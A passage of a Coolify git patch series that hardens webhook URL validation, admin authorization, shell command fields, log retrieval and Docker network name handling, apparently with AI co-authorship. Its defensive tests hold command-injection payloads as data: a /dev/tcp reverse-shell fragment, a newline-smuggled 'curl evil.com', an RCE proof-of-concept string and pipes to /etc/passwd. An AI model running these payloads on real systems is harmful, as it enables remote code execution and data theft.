($ip === '0.0.0.0' || str_starts_with($ip, '127.')) { + return true; + } + + // IPv6 loopback + $normalized = @inet_pton($ip); + + return $normalized !== false && $normalized === inet_pton('::1'); + } + + private function isLinkLocal(string $ip): bool + { + // 169.254.0.0/16 — covers cloud metadata at 169.254.169.254 + if (! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { + return false; + } + + $long = ip2long($ip); + + return $long !== false && ($long >> 16) === (ip2long('169.254.0.0') >> 16); + } +} diff --git a/tests/Unit/SafeWebhookUrlTest.php b/tests/Unit/SafeWebhookUrlTest.php new file mode 100644 index 000000000..bb5569ccf --- /dev/null +++ b/tests/Unit/SafeWebhookUrlTest.php @@ -0,0 +1,90 @@ + $url], ['url' => $rule]); + expect($validator->passes())->toBeTrue("Expected valid: {$url}"); + } +}); + +it('accepts private network IPs for self-hosted deployments', function (string $url) { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => $url], ['url' => $rule]); + expect($validator->passes())->toBeTrue("Expected valid (private IP): {$url}"); +})->with([ + '10.x range' => 'http://10.0.0.5/webhook', + '172.16.x range' => 'http://172.16.0.1:8080/hook', + '192.168.x range' => 'http://192.168.1.50:8080/webhook', +]); + +it('rejects loopback addresses', function (string $url) { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => $url], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$url}"); +})->with([ + 'loopback' => 'http://127.0.0.1', + 'loopback with port' => 'http://127.0.0.1:6379', + 'loopback /8 range' => 'http://127.0.0.2', + 'zero address' => 'http://0.0.0.0', +]); + +it('rejects cloud metadata IP', function () { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => 'http://169.254.169.254/latest/meta-data/'], ['url' => $rule]); + expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP'); +}); + +it('rejects link-local range', function () { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => 'http://169.254.0.1'], ['url' => $rule]); + expect($validator->fails())->toBeTrue('Expected rejection: link-local IP'); +}); + +it('rejects localhost and internal hostnames', function (string $url) { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => $url], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$url}"); +})->with([ + 'localhost' => 'http://localhost', + 'localhost with port' => 'http://localhost:8080', + '.internal domain' => 'http://myservice.internal', +]); + +it('rejects non-http schemes', function (string $value) { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => $value], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$value}"); +})->with([ + 'ftp scheme' => 'ftp://example.com', + 'javascript scheme' => 'javascript:alert(1)', + 'file scheme' => 'file:///etc/passwd', + 'no scheme' => 'example.com', +]); + +it('rejects IPv6 loopback', function () { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]); + expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback'); +}); From aea201fcba0cc89f09f1ef8555ab00de275752ab Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Mar 2026 12:24:40 +0100 Subject: [PATCH 45/95] refactor: move admin route into middleware group and harden authorization Move the admin panel route into the existing auth middleware group and replace client-side redirects with server-side abort calls in the Livewire component. Extract shared authorization logic into reusable private methods. Co-Authored-By: Claude Opus 4.6 --- app/Livewire/Admin/Index.php | 31 +++-- routes/web.php | 3 +- .../Feature/AdminAccessAuthorizationTest.php | 118 ++++++++++++++++++ 3 files changed, 141 insertions(+), 11 deletions(-) create mode 100644 tests/Feature/AdminAccessAuthorizationTest.php diff --git a/app/Livewire/Admin/Index.php b/app/Livewire/Admin/Index.php index b5f6d2929..d1345e7bf 100644 --- a/app/Livewire/Admin/Index.php +++ b/app/Livewire/Admin/Index.php @@ -6,7 +6,6 @@ use App\Models\User; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Auth; -use Illuminate\Support\Facades\Cache; use Livewire\Component; class Index extends Component @@ -22,16 +21,15 @@ class Index extends Component public function mount() { if (! isCloud() && ! isDev()) { - return redirect()->route('dashboard'); - } - if (Auth::id() !== 0 && ! session('impersonating')) { - return redirect()->route('dashboard'); + abort(403); } + $this->authorizeAdminAccess(); $this->getSubscribers(); } public function back() { + $this->authorizeAdminAccess(); if (session('impersonating')) { session()->forget('impersonating'); $user = User::find(0); @@ -45,6 +43,7 @@ public function back() public function submitSearch() { + $this->authorizeAdminAccess(); if ($this->search !== '') { $this->foundUsers = User::where(function ($query) { $query->where('name', 'like', "%{$this->search}%") @@ -61,19 +60,33 @@ public function getSubscribers() public function switchUser(int $user_id) { - if (Auth::id() !== 0) { - return redirect()->route('dashboard'); - } + $this->authorizeRootOnly(); session(['impersonating' => true]); $user = User::find($user_id); + if (! $user) { + abort(404); + } $team_to_switch_to = $user->teams->first(); - // Cache::forget("team:{$user->id}"); Auth::login($user); refreshSession($team_to_switch_to); return redirect(request()->header('Referer')); } + private function authorizeAdminAccess(): void + { + if (! Auth::check() || (Auth::id() !== 0 && ! session('impersonating'))) { + abort(403); + } + } + + private function authorizeRootOnly(): void + { + if (! Auth::check() || Auth::id() !== 0) { + abort(403); + } + } + public function render() { return view('livewire.admin.index'); diff --git a/routes/web.php b/routes/web.php index dfb44324c..a82fcc19e 100644 --- a/routes/web.php +++ b/routes/web.php @@ -90,8 +90,6 @@ use Illuminate\Support\Facades\Storage; use Symfony\Component\HttpFoundation\StreamedResponse; -Route::get('/admin', AdminIndex::class)->name('admin.index'); - Route::post('/forgot-password', [Controller::class, 'forgot_password'])->name('password.forgot')->middleware('throttle:forgot-password'); Route::get('/realtime', [Controller::class, 'realtime_test'])->middleware('auth'); Route::get('/verify', [Controller::class, 'verify'])->middleware('auth')->name('verify.email'); @@ -109,6 +107,7 @@ }); Route::get('/', Dashboard::class)->name('dashboard'); + Route::get('/admin', AdminIndex::class)->name('admin.index'); Route::get('/onboarding', BoardingIndex::class)->name('onboarding'); Route::get('/subscription', SubscriptionShow::class)->name('subscription.show'); diff --git a/tests/Feature/AdminAccessAuthorizationTest.php b/tests/Feature/AdminAccessAuthorizationTest.php new file mode 100644 index 000000000..4840bc4dd --- /dev/null +++ b/tests/Feature/AdminAccessAuthorizationTest.php @@ -0,0 +1,118 @@ +get('/admin'); + + $response->assertRedirect('/login'); +}); + +test('authenticated non-root user gets 403 on admin page', function () { + $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => 'admin']); + + $this->actingAs($user); + session(['currentTeam' => ['id' => $team->id]]); + + Livewire::test(AdminIndex::class) + ->assertForbidden(); +}); + +test('root user can access admin page in cloud mode', function () { + config()->set('constants.coolify.self_hosted', false); + + $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]); + $rootUser = User::factory()->create(['id' => 0]); + $rootTeam->members()->attach($rootUser->id, ['role' => 'admin']); + + $this->actingAs($rootUser); + session(['currentTeam' => ['id' => $rootTeam->id]]); + + Livewire::test(AdminIndex::class) + ->assertOk(); +}); + +test('root user gets 403 on admin page in self-hosted non-dev mode', function () { + config()->set('constants.coolify.self_hosted', true); + config()->set('app.env', 'production'); + + $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]); + $rootUser = User::factory()->create(['id' => 0]); + $rootTeam->members()->attach($rootUser->id, ['role' => 'admin']); + + $this->actingAs($rootUser); + session(['currentTeam' => ['id' => $rootTeam->id]]); + + Livewire::test(AdminIndex::class) + ->assertForbidden(); +}); + +test('submitSearch requires admin authorization', function () { + $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => 'admin']); + + $this->actingAs($user); + session(['currentTeam' => ['id' => $team->id]]); + + Livewire::test(AdminIndex::class) + ->assertForbidden(); +}); + +test('switchUser requires root user id 0', function () { + config()->set('constants.coolify.self_hosted', false); + + $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]); + $rootUser = User::factory()->create(['id' => 0]); + $rootTeam->members()->attach($rootUser->id, ['role' => 'admin']); + + $targetUser = User::factory()->create(); + $targetTeam = Team::factory()->create(); + $targetTeam->members()->attach($targetUser->id, ['role' => 'admin']); + + $this->actingAs($rootUser); + session(['currentTeam' => ['id' => $rootTeam->id]]); + + Livewire::test(AdminIndex::class) + ->assertOk() + ->call('switchUser', $targetUser->id) + ->assertRedirect(); +}); + +test('switchUser rejects non-root user', function () { + config()->set('constants.coolify.self_hosted', false); + + $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => 'admin']); + + // Must set impersonating session to bypass mount() check + $this->actingAs($user); + session([ + 'currentTeam' => ['id' => $team->id], + 'impersonating' => true, + ]); + + Livewire::test(AdminIndex::class) + ->call('switchUser', 999) + ->assertForbidden(); +}); + +test('admin route has auth middleware applied', function () { + $route = collect(app('router')->getRoutes()->getRoutesByName()) + ->get('admin.index'); + + expect($route)->not->toBeNull(); + + $middleware = $route->gatherMiddleware(); + + expect($middleware)->toContain('auth'); +}); From f493b96be39841ea4a22f6850f9346ab55d2e07e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Mar 2026 12:25:54 +0100 Subject: [PATCH 46/95] refactor: use random_int() for email change verification codes Replace mt_rand/rand with random_int for stronger randomness guarantees in verification code generation and Blade component keying. Co-Authored-By: Claude Opus 4.6 --- app/Models/User.php | 2 +- .../components/forms/monaco-editor.blade.php | 2 +- tests/Feature/EmailChangeVerificationTest.php | 109 ++++++++++++++++++ tests/Unit/InsecurePrngArchTest.php | 17 +++ 4 files changed, 128 insertions(+), 2 deletions(-) create mode 100644 tests/Feature/EmailChangeVerificationTest.php create mode 100644 tests/Unit/InsecurePrngArchTest.php diff --git a/app/Models/User.php b/app/Models/User.php index 4561cddb2..7c68657e7 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -395,7 +395,7 @@ public function canAccessSystemResources(): bool public function requestEmailChange(string $newEmail): void { // Generate 6-digit code - $code = sprintf('%06d', mt_rand(0, 999999)); + $code = sprintf('%06d', random_int(0, 999999)); // Set expiration using config value $expiryMinutes = config('constants.email_change.verification_code_expiry_minutes', 10); diff --git a/resources/views/components/forms/monaco-editor.blade.php b/resources/views/components/forms/monaco-editor.blade.php index e774f5863..1a35be218 100644 --- a/resources/views/components/forms/monaco-editor.blade.php +++ b/resources/views/components/forms/monaco-editor.blade.php @@ -1,4 +1,4 @@ -
+
& /dev/tcp/172.23.0.1/1337 0>&1; #'], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects newline injection in start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['start_command' => "npm start\ncurl evil.com"], + ['start_command' => $rules['start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid install commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => $cmd], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm install', + 'yarn install --frozen-lockfile', + 'pip install -r requirements.txt', + 'bun install', + 'pnpm install --no-frozen-lockfile', + ]); + + test('allows valid build commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $cmd], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm run build', + 'cargo build --release', + 'go build -o main .', + 'yarn build && yarn postbuild', + 'make build', + ]); + + test('allows valid start commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['start_command' => $cmd], + ['start_command' => $rules['start_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm start', + 'node server.js', + 'python main.py', + 'java -jar app.jar', + './start.sh', + ]); + + test('allows null values for command fields', function ($field) { + $rules = sharedDataApplications(); + + $validator = validator( + [$field => null], + [$field => $rules[$field]] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['install_command', 'build_command', 'start_command']); +}); + +describe('install/build/start command rules survive array_merge in controller', function () { + test('install_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['install_command'])->toBeArray(); + expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('build_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['build_command'])->toBeArray(); + expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('start_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['start_command'])->toBeArray(); + expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); +}); From 48ba4ece3c1b43cb4b9627438c0ff4e4251e3511 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Mar 2026 12:28:54 +0100 Subject: [PATCH 48/95] fix: harden GetLogs Livewire component with locked properties and input validation Add #[Locked] attributes to security-sensitive properties (resource, servicesubtype, server, container) to prevent client-side modification via Livewire wire protocol. Add container name validation using ValidationPatterns::isValidContainerName() and server ownership authorization via Server::ownedByCurrentTeam() in both getLogs() and downloadAllLogs() methods. Co-Authored-By: Claude Opus 4.6 --- app/Livewire/Project/Shared/GetLogs.php | 32 ++++- tests/Feature/GetLogsCommandInjectionTest.php | 110 ++++++++++++++++++ 2 files changed, 137 insertions(+), 5 deletions(-) create mode 100644 tests/Feature/GetLogsCommandInjectionTest.php diff --git a/app/Livewire/Project/Shared/GetLogs.php b/app/Livewire/Project/Shared/GetLogs.php index 22605e1bb..d0121bdc5 100644 --- a/app/Livewire/Project/Shared/GetLogs.php +++ b/app/Livewire/Project/Shared/GetLogs.php @@ -16,7 +16,9 @@ use App\Models\StandaloneMysql; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; +use App\Support\ValidationPatterns; use Illuminate\Support\Facades\Process; +use Livewire\Attributes\Locked; use Livewire\Component; class GetLogs extends Component @@ -29,12 +31,16 @@ class GetLogs extends Component public string $errors = ''; + #[Locked] public Application|Service|StandalonePostgresql|StandaloneRedis|StandaloneMongodb|StandaloneMysql|StandaloneMariadb|StandaloneKeydb|StandaloneDragonfly|StandaloneClickhouse|null $resource = null; + #[Locked] public ServiceApplication|ServiceDatabase|null $servicesubtype = null; + #[Locked] public Server $server; + #[Locked] public ?string $container = null; public ?string $displayName = null; @@ -54,7 +60,7 @@ class GetLogs extends Component public function mount() { if (! is_null($this->resource)) { - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + if ($this->resource->getMorphClass() === Application::class) { $this->showTimeStamps = $this->resource->settings->is_include_timestamps; } else { if ($this->servicesubtype) { @@ -63,7 +69,7 @@ public function mount() $this->showTimeStamps = $this->resource->is_include_timestamps; } } - if ($this->resource?->getMorphClass() === \App\Models\Application::class) { + if ($this->resource?->getMorphClass() === Application::class) { if (str($this->container)->contains('-pr-')) { $this->pull_request = 'Pull Request: '.str($this->container)->afterLast('-pr-')->beforeLast('_')->value(); } @@ -74,11 +80,11 @@ public function mount() public function instantSave() { if (! is_null($this->resource)) { - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + if ($this->resource->getMorphClass() === Application::class) { $this->resource->settings->is_include_timestamps = $this->showTimeStamps; $this->resource->settings->save(); } - if ($this->resource->getMorphClass() === \App\Models\Service::class) { + if ($this->resource->getMorphClass() === Service::class) { $serviceName = str($this->container)->beforeLast('-')->value(); $subType = $this->resource->applications()->where('name', $serviceName)->first(); if ($subType) { @@ -118,10 +124,20 @@ public function toggleStreamLogs() public function getLogs($refresh = false) { + if (! Server::ownedByCurrentTeam()->where('id', $this->server->id)->exists()) { + $this->outputs = 'Unauthorized.'; + + return; + } if (! $this->server->isFunctional()) { return; } - if (! $refresh && ! $this->expandByDefault && ($this->resource?->getMorphClass() === \App\Models\Service::class || str($this->container)->contains('-pr-'))) { + if ($this->container && ! ValidationPatterns::isValidContainerName($this->container)) { + $this->outputs = 'Invalid container name.'; + + return; + } + if (! $refresh && ! $this->expandByDefault && ($this->resource?->getMorphClass() === Service::class || str($this->container)->contains('-pr-'))) { return; } if ($this->numberOfLines <= 0 || is_null($this->numberOfLines)) { @@ -194,9 +210,15 @@ public function copyLogs(): string public function downloadAllLogs(): string { + if (! Server::ownedByCurrentTeam()->where('id', $this->server->id)->exists()) { + return ''; + } if (! $this->server->isFunctional() || ! $this->container) { return ''; } + if (! ValidationPatterns::isValidContainerName($this->container)) { + return ''; + } if ($this->showTimeStamps) { if ($this->server->isSwarm()) { diff --git a/tests/Feature/GetLogsCommandInjectionTest.php b/tests/Feature/GetLogsCommandInjectionTest.php new file mode 100644 index 000000000..34824b48b --- /dev/null +++ b/tests/Feature/GetLogsCommandInjectionTest.php @@ -0,0 +1,110 @@ +getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('server property has Locked attribute', function () { + $property = new ReflectionProperty(GetLogs::class, 'server'); + $attributes = $property->getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('resource property has Locked attribute', function () { + $property = new ReflectionProperty(GetLogs::class, 'resource'); + $attributes = $property->getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('servicesubtype property has Locked attribute', function () { + $property = new ReflectionProperty(GetLogs::class, 'servicesubtype'); + $attributes = $property->getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); +}); + +describe('GetLogs container name validation in getLogs', function () { + test('getLogs method validates container name with ValidationPatterns', function () { + $method = new ReflectionMethod(GetLogs::class, 'getLogs'); + $startLine = $method->getStartLine(); + $endLine = $method->getEndLine(); + $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); + $methodBody = implode('', $lines); + + expect($methodBody)->toContain('ValidationPatterns::isValidContainerName'); + }); + + test('downloadAllLogs method validates container name with ValidationPatterns', function () { + $method = new ReflectionMethod(GetLogs::class, 'downloadAllLogs'); + $startLine = $method->getStartLine(); + $endLine = $method->getEndLine(); + $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); + $methodBody = implode('', $lines); + + expect($methodBody)->toContain('ValidationPatterns::isValidContainerName'); + }); +}); + +describe('GetLogs authorization checks', function () { + test('getLogs method checks server ownership via ownedByCurrentTeam', function () { + $method = new ReflectionMethod(GetLogs::class, 'getLogs'); + $startLine = $method->getStartLine(); + $endLine = $method->getEndLine(); + $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); + $methodBody = implode('', $lines); + + expect($methodBody)->toContain('Server::ownedByCurrentTeam()'); + }); + + test('downloadAllLogs method checks server ownership via ownedByCurrentTeam', function () { + $method = new ReflectionMethod(GetLogs::class, 'downloadAllLogs'); + $startLine = $method->getStartLine(); + $endLine = $method->getEndLine(); + $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); + $methodBody = implode('', $lines); + + expect($methodBody)->toContain('Server::ownedByCurrentTeam()'); + }); +}); + +describe('GetLogs container name injection payloads are blocked by validation', function () { + test('newline injection payload is rejected', function () { + // The exact PoC payload from the advisory + $payload = "postgresql 2>/dev/null\necho '===RCE-START==='\nid\nwhoami\nhostname\ncat /etc/hostname\necho '===RCE-END==='\n#"; + expect(ValidationPatterns::isValidContainerName($payload))->toBeFalse(); + }); + + test('semicolon injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql;id'))->toBeFalse(); + }); + + test('backtick injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql`id`'))->toBeFalse(); + }); + + test('command substitution injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql$(whoami)'))->toBeFalse(); + }); + + test('pipe injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql|cat /etc/passwd'))->toBeFalse(); + }); + + test('valid container names are accepted', function () { + expect(ValidationPatterns::isValidContainerName('postgresql'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('my-app-container'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('service_db.v2'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('coolify-proxy'))->toBeTrue(); + }); +}); From 3d1b9f53a0aec74468be75675bcaaaed0fd41d46 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Mar 2026 12:28:59 +0100 Subject: [PATCH 49/95] fix: add validation and escaping for Docker network names Add strict validation for Docker network names using a regex pattern that matches Docker's naming rules (alphanumeric start, followed by alphanumeric, dots, hyphens, underscores). Changes: - Add DOCKER_NETWORK_PATTERN to ValidationPatterns with helper methods - Validate network field in Destination creation and update Livewire components - Add setNetworkAttribute mutator on StandaloneDocker and SwarmDocker models - Apply escapeshellarg() to all network field usages in shell commands across ApplicationDeploymentJob, DatabaseBackupJob, StartService, Init command, proxy helpers, and Destination/Show - Add comprehensive tests for pattern validation and model mutator Co-Authored-By: Claude Opus 4.6 --- app/Actions/Service/StartService.php | 4 +- app/Console/Commands/Init.php | 11 ++--- app/Jobs/ApplicationDeploymentJob.php | 22 ++++++---- app/Jobs/DatabaseBackupJob.php | 7 ++-- app/Livewire/Destination/New/Docker.php | 3 +- app/Livewire/Destination/Show.php | 7 ++-- app/Models/StandaloneDocker.php | 13 +++++- app/Models/SwarmDocker.php | 11 +++++ app/Support/ValidationPatterns.php | 45 ++++++++++++++++++++ bootstrap/helpers/proxy.php | 24 ++++++----- tests/Unit/DockerNetworkInjectionTest.php | 48 ++++++++++++++++++++++ tests/Unit/ValidationPatternsTest.php | 50 +++++++++++++++++++++++ 12 files changed, 211 insertions(+), 34 deletions(-) create mode 100644 tests/Unit/DockerNetworkInjectionTest.php diff --git a/app/Actions/Service/StartService.php b/app/Actions/Service/StartService.php index 6b5e1d4ac..17948d93b 100644 --- a/app/Actions/Service/StartService.php +++ b/app/Actions/Service/StartService.php @@ -40,10 +40,10 @@ public function handle(Service $service, bool $pullLatestImages = false, bool $s $commands[] = "docker network connect $service->uuid coolify-proxy >/dev/null 2>&1 || true"; if (data_get($service, 'connect_to_docker_network')) { $compose = data_get($service, 'docker_compose', []); - $network = $service->destination->network; + $safeNetwork = escapeshellarg($service->destination->network); $serviceNames = data_get(Yaml::parse($compose), 'services', []); foreach ($serviceNames as $serviceName => $serviceConfig) { - $commands[] = "docker network connect --alias {$serviceName}-{$service->uuid} $network {$serviceName}-{$service->uuid} >/dev/null 2>&1 || true"; + $commands[] = "docker network connect --alias {$serviceName}-{$service->uuid} {$safeNetwork} {$serviceName}-{$service->uuid} >/dev/null 2>&1 || true"; } } diff --git a/app/Console/Commands/Init.php b/app/Console/Commands/Init.php index 66cb77838..e95c29f72 100644 --- a/app/Console/Commands/Init.php +++ b/app/Console/Commands/Init.php @@ -212,18 +212,19 @@ private function cleanupUnusedNetworkFromCoolifyProxy() $removeNetworks = $allNetworks->diff($networks); $commands = collect(); foreach ($removeNetworks as $network) { - $out = instant_remote_process(["docker network inspect -f json $network | jq '.[].Containers | if . == {} then null else . end'"], $server, false); + $safe = escapeshellarg($network); + $out = instant_remote_process(["docker network inspect -f json {$safe} | jq '.[].Containers | if . == {} then null else . end'"], $server, false); if (empty($out)) { - $commands->push("docker network disconnect $network coolify-proxy >/dev/null 2>&1 || true"); - $commands->push("docker network rm $network >/dev/null 2>&1 || true"); + $commands->push("docker network disconnect {$safe} coolify-proxy >/dev/null 2>&1 || true"); + $commands->push("docker network rm {$safe} >/dev/null 2>&1 || true"); } else { $data = collect(json_decode($out, true)); if ($data->count() === 1) { // If only coolify-proxy itself is connected to that network (it should not be possible, but who knows) $isCoolifyProxyItself = data_get($data->first(), 'Name') === 'coolify-proxy'; if ($isCoolifyProxyItself) { - $commands->push("docker network disconnect $network coolify-proxy >/dev/null 2>&1 || true"); - $commands->push("docker network rm $network >/dev/null 2>&1 || true"); + $commands->push("docker network disconnect {$safe} coolify-proxy >/dev/null 2>&1 || true"); + $commands->push("docker network rm {$safe} >/dev/null 2>&1 || true"); } } } diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 785e8c8e3..dc8bc4374 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -288,7 +288,8 @@ public function handle(): void // Make sure the private key is stored in the filesystem $this->server->privateKey->storeInFileSystem(); // Generate custom host<->ip mapping - $allContainers = instant_remote_process(["docker network inspect {$this->destination->network} -f '{{json .Containers}}' "], $this->server); + $safeNetwork = escapeshellarg($this->destination->network); + $allContainers = instant_remote_process(["docker network inspect {$safeNetwork} -f '{{json .Containers}}' "], $this->server); if (! is_null($allContainers)) { $allContainers = format_docker_command_output_to_json($allContainers); @@ -2015,9 +2016,11 @@ private function prepare_builder_image(bool $firstTry = true) $runCommand = "docker run -d --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } else { if ($this->dockerConfigFileExists === 'OK') { - $runCommand = "docker run -d --network {$this->destination->network} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; + $safeNetwork = escapeshellarg($this->destination->network); + $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } else { - $runCommand = "docker run -d --network {$this->destination->network} --name {$this->deployment_uuid} {$env_flags} --rm -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; + $safeNetwork = escapeshellarg($this->destination->network); + $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } } if ($firstTry) { @@ -3046,28 +3049,29 @@ private function build_image() $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]); } else { // Dockerfile buildpack + $safeNetwork = escapeshellarg($this->destination->network); if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } } else { // Traditional build with args if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = 